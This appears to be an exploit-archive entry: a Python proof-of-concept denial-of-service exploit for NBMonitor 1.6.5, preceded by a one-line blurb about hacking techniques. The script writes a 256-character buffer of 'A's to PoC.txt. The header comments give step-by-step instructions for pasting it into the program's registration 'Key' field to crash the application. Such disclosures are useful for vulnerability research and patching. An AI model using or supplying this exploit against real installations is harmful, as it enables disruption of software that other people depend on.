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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# -*- coding: utf-8 -*-
# Exploit Title: NBMonitor 1.6.5 - 'Key' Denial of Service (PoC)
# Date: 15/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com/
# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
# Version: 1.6.5.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "NBMonitor.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NBMonitor.exe 
# 4.- Go to Register > Enter Registration Code...
# 5.- Write anything in 'Name' field
# 6.- Paste clipboard in 'Key' field
# 7.- Click on button -> Ok
# 8.- Crashed

buffer = "\x41" * 256
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()